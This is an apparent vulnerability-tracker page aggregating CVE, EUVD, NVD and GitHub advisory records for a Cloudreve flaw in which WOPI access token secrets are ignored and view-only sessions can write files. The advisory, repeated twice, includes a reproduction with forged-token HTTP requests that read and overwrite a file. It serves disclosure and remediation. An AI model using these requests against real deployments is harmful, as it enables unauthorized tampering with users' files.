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Cloudreve: Unauthorized file write via WOPI view sessions whose access token secret is ignored

CVSS 3.1 6.3 MEDIUMEUVD CVSS 3.1 6.3 CVSS 3.1 · [email protected] · Secondary 6.3 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by github.com/cloudreve/Cloudreve/v4 4.0.0-20260626022433-f3347130ac48osv · severity unknownFixed by github.com/cloudreve/Cloudreve/v4 4.0.0-20260626022433-f3347130ac48KEV status unknown

cve-program · CVE-2026-62323

Published

Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, ViewerSessionValidation uses only the session-id prefix of a WOPI access token and does not enforce the requested viewer action, allowing a malicious or compromised WOPI viewer with a view session to forge the token suffix and invoke WOPI write routes for the underlying file. This issue is fixed in version 4.17.0.

Read the publisher's advisory

euvd · EUVD-2026-51395

Published

Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, ViewerSessionValidation uses only the session-id prefix of a WOPI access token and does not enforce the requested viewer action, allowing a malicious or compromised WOPI viewer with a view session to forge the token suffix and invoke WOPI write routes for the underlying file. This issue is fixed in version 4.17.0.

Read the publisher's advisory

nvd · CVE-2026-62323

Published

Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, ViewerSessionValidation uses only the session-id prefix of a WOPI access token and does not enforce the requested viewer action, allowing a malicious or compromised WOPI viewer with a view session to forge the token suffix and invoke WOPI write routes for the underlying file. This issue is fixed in version 4.17.0.

Read the publisher's advisory

osv · GHSA-c3jm-gv5r-9wcp

Published

## Summary Cloudreve WOPI access tokens are generated as `<session-id>.<random-secret>`, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user. ## Impact A WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id. This affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve. ## Affected version Verified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`. ## Technical details Cloudreve creates WOPI viewer sessions in `pkg/filemanager/manager/viewer.go`: ```go sessionID := uuid.Must(uuid.NewV4()).String() token := util.RandStringRunesCrypto(128) sessionCache := &ViewerSessionCache{ ID: sessionID, Uri: file.Uri(false).String(), UserID: m.user.ID, ViewerID: viewer.ID, FileID: file.ID(), Version: version, Token: fmt.Sprintf("%s.%s", sessionID, token), } ``` The token includes a 128-character random suffix, but `middleware.ViewerSessionValidation()` only uses the prefix before the dot: ```go accessToken := strings.Split(c.Query(wopi.AccessTokenQuery), ".") if len(accessToken) != 2 { ... } sessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0]) ``` The middleware checks that the file id matches the loaded session, but it never compares `c.Query("access_token")` with `session.Token`. As a result, `<valid-session-id>.anything` is accepted. The WOPI routes are exposed without normal session authentication and rely on this middleware: ```go wopi := noAuth.Group("file/wopi", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation()) wopi.GET(":id", controllers.CheckFileInfo) wopi.GET(":id/contents", controllers.GetFile) wopi.POST(":id/contents", controllers.PutFile) wopi.POST(":id", controllers.ModifyFile) ``` The write routes are not protected by a session-level write check. `CreateViewerSessionService` accepts `preferred_action`, but `ViewerSessionCache` has no action or write-permission field and `CreateViewerSession` does not persist the chosen action. The requested action is only used to generate the WOPI source URL: ```go wopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession) ``` `WopiService.PutContent()` checks only the underlying filesystem upload capability: ```go file, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot()) ``` It does not check whether the WOPI session was created for an edit action. ## Reproduction The following sequence was verified against a disposable local Cloudreve instance built from the affected commit. 1. Configure a WOPI viewer in Cloudreve. 2. Create a user-owned file, for example `cloudreve://my/wopi.txt`, containing `original content`. 3. Create a viewer session with `preferred_action` set to `view`: ```http PUT /api/v4/file/viewerSession HTTP/1.1 Authorization: Bearer <user-token> Content-Type: application/json { "uri": "cloudreve://my/wopi.txt", "version": "", "viewer_id": "poc-wopi", "preferred_action": "view" } ``` Observed response: ```json { "session": { "id": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1", "access_token": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.<128-char-random-secret>" } } ``` 4. Replace the token suffix with any value: ```http GET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 ``` Observed response: `200 OK`. The same request with an unknown session id returned `403 Forbidden`, confirming the middleware validates the session id prefix but ignores the secret suffix. 5. Use the forged token from the view-created session to read content: ```http GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 ``` Observed response: ```http HTTP/1.1 200 OK Content-Length: 16 Etag: "1bIo" original content ``` 6. Use the same forged token from the view-created session to write content: ```http POST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 X-WOPI-Lock: cloudreve-poc Content-Type: application/octet-stream runtime modified via view session forged suffix ``` Observed response: ```http HTTP/1.1 200 OK X-Wopi-Itemversion: nBc0 ``` 7. Read back the modified file with the forged token: ```http GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 ``` Observed response: ```http HTTP/1.1 200 OK Content-Length: 47 Etag: "nBc0" runtime modified via view session forged suffix ``` This proves both authorization failures: the random token suffix is ignored, and a view-created WOPI session can reach the content write sink. ## Root cause Two authorization values are generated or accepted but not enforced: 1. The random WOPI token suffix is generated and stored but never compared during WOPI request validation. 2. The requested WOPI action is accepted during session creation but not persisted or enforced on WOPI write routes. ## Remediation - Compare the full supplied `access_token` to the stored `ViewerSessionCache.Token` using constant-time comparison. - Reject malformed tokens and tokens with extra separators. - Store a `CanWrite` flag or selected WOPI action in `ViewerSessionCache`. - Enforce that flag on `POST /contents`, `PUT_RELATIVE`, `LOCK`, and other write operations. - Include session-level write permission when returning WOPI `FileInfo` fields such as `ReadOnly` and `UserCanWrite`.

Read the publisher's advisory

osv · GO-2026-6104

Published

Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored in github.com/cloudreve/Cloudreve

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

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cve-program · CVE-2026-62323

Published

Cloudreve: Unauthorized file write via WOPI view sessions whose access token secret is ignored

Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, ViewerSessionValidation uses only the session-id prefix of a WOPI access token and does not enforce the requested viewer action, allowing a malicious or compromised WOPI viewer with a view session to forge the token suffix and invoke WOPI write routes for the underlying file. This issue is fixed in version 4.17.0.

Source published
31 Jul 2026 03:43:14 UTC
Source modified
31 Jul 2026 19:28:19 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 6.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N

euvd · EUVD-2026-51395

Published

Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, ViewerSessionValidation uses only the session-id prefix of a WOPI access token and does not enforce the requested viewer action, allowing a malicious or comprom…

Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, ViewerSessionValidation uses only the session-id prefix of a WOPI access token and does not enforce the requested viewer action, allowing a malicious or compromised WOPI viewer with a view session to forge the token suffix and invoke WOPI write routes for the underlying file. This issue is fixed in version 4.17.0.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Jul 31, 2026, 3:43:14 AM

dateUpdated: Jul 31, 2026, 7:28:19 PM

Source published
Jul 31, 2026, 3:43:14 AM (timezone not stated)
Source modified
Jul 31, 2026, 7:28:19 PM (timezone not stated)
Saved here
17 Nov 2026 19:42:18 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 6.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N

nvd · CVE-2026-62323

Published

Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, ViewerSessionValidation uses only the session-id prefix of a WOPI access token and does not enforce the requested viewer action, allowing a malicious or comprom…

Cloudreve is a self-hosted file management and sharing system. Prior to 4.17.0, ViewerSessionValidation uses only the session-id prefix of a WOPI access token and does not enforce the requested viewer action, allowing a malicious or compromised WOPI viewer with a view session to forge the token suffix and invoke WOPI write routes for the underlying file. This issue is fixed in version 4.17.0.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-863

Original publisher date fields

published: 2026-07-31T04:17:24.160

lastModified: 2026-09-08T20:51:43.490

Source published
31 Jul 2026 04:17:24 UTC
Source modified
8 Sep 2026 20:51:43 UTC
Saved here
25 Oct 2026 14:19:28 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 6.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N

osv · GHSA-c3jm-gv5r-9wcp

Published

Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored

## Summary Cloudreve WOPI access tokens are generated as `<session-id>.<random-secret>`, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user. ## Impact A WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id. This affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve. ## Affected version Verified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`. ## Technical details Cloudreve creates WOPI viewer sessions in `pkg/filemanager/manager/viewer.go`: ```go sessionID := uuid.Must(uuid.NewV4()).String() token := util.RandStringRunesCrypto(128) sessionCache := &ViewerSessionCache{ ID: sessionID, Uri: file.Uri(false).String(), UserID: m.user.ID, ViewerID: viewer.ID, FileID: file.ID(), Version: version, Token: fmt.Sprintf("%s.%s", sessionID, token), } ``` The token includes a 128-character random suffix, but `middleware.ViewerSessionValidation()` only uses the prefix before the dot: ```go accessToken := strings.Split(c.Query(wopi.AccessTokenQuery), ".") if len(accessToken) != 2 { ... } sessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0]) ``` The middleware checks that the file id matches the loaded session, but it never compares `c.Query("access_token")` with `session.Token`. As a result, `<valid-session-id>.anything` is accepted. The WOPI routes are exposed without normal session authentication and rely on this middleware: ```go wopi := noAuth.Group("file/wopi", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation()) wopi.GET(":id", controllers.CheckFileInfo) wopi.GET(":id/contents", controllers.GetFile) wopi.POST(":id/contents", controllers.PutFile) wopi.POST(":id", controllers.ModifyFile) ``` The write routes are not protected by a session-level write check. `CreateViewerSessionService` accepts `preferred_action`, but `ViewerSessionCache` has no action or write-permission field and `CreateViewerSession` does not persist the chosen action. The requested action is only used to generate the WOPI source URL: ```go wopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession) ``` `WopiService.PutContent()` checks only the underlying filesystem upload capability: ```go file, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot()) ``` It does not check whether the WOPI session was created for an edit action. ## Reproduction The following sequence was verified against a disposable local Cloudreve instance built from the affected commit. 1. Configure a WOPI viewer in Cloudreve. 2. Create a user-owned file, for example `cloudreve://my/wopi.txt`, containing `original content`. 3. Create a viewer session with `preferred_action` set to `view`: ```http PUT /api/v4/file/viewerSession HTTP/1.1 Authorization: Bearer <user-token> Content-Type: application/json { "uri": "cloudreve://my/wopi.txt", "version": "", "viewer_id": "poc-wopi", "preferred_action": "view" } ``` Observed response: ```json { "session": { "id": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1", "access_token": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.<128-char-random-secret>" } } ``` 4. Replace the token suffix with any value: ```http GET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 ``` Observed response: `200 OK`. The same request with an unknown session id returned `403 Forbidden`, confirming the middleware validates the session id prefix but ignores the secret suffix. 5. Use the forged token from the view-created session to read content: ```http GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 ``` Observed response: ```http HTTP/1.1 200 OK Content-Length: 16 Etag: "1bIo" original content ``` 6. Use the same forged token from the view-created session to write content: ```http POST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 X-WOPI-Lock: cloudreve-poc Content-Type: application/octet-stream runtime modified via view session forged suffix ``` Observed response: ```http HTTP/1.1 200 OK X-Wopi-Itemversion: nBc0 ``` 7. Read back the modified file with the forged token: ```http GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 ``` Observed response: ```http HTTP/1.1 200 OK Content-Length: 47 Etag: "nBc0" runtime modified via view session forged suffix ``` This proves both authorization failures: the random token suffix is ignored, and a view-created WOPI session can reach the content write sink. ## Root cause Two authorization values are generated or accepted but not enforced: 1. The random WOPI token suffix is generated and stored but never compared during WOPI request validation. 2. The requested WOPI action is accepted during session creation but not persisted or enforced on WOPI write routes. ## Remediation - Compare the full supplied `access_token` to the stored `ViewerSessionCache.Token` using constant-time comparison. - Reject malformed tokens and tokens with extra separators. - Store a `CanWrite` flag or selected WOPI action in `ViewerSessionCache`. - Enforce that flag on `POST /contents`, `PUT_RELATIVE`, `LOCK`, and other write operations. - Include session-level write permission when returning WOPI `FileInfo` fields such as `ReadOnly` and `UserCanWrite`.

Source published
24 Jul 2026 21:18:41 UTC
Source modified
18 Aug 2026 15:10:31 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N

Publisher rating · MODERATE

osv · GO-2026-6104

Published

Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored in github.com/cloudreve/Cloudreve

Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored in github.com/cloudreve/Cloudreve

Source published
18 Aug 2026 14:32:29 UTC
Source modified
18 Aug 2026 15:00:14 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 19 Nov 09:03 UTC · 273 of 275 readable · 269 fully read · documentation 469/469 current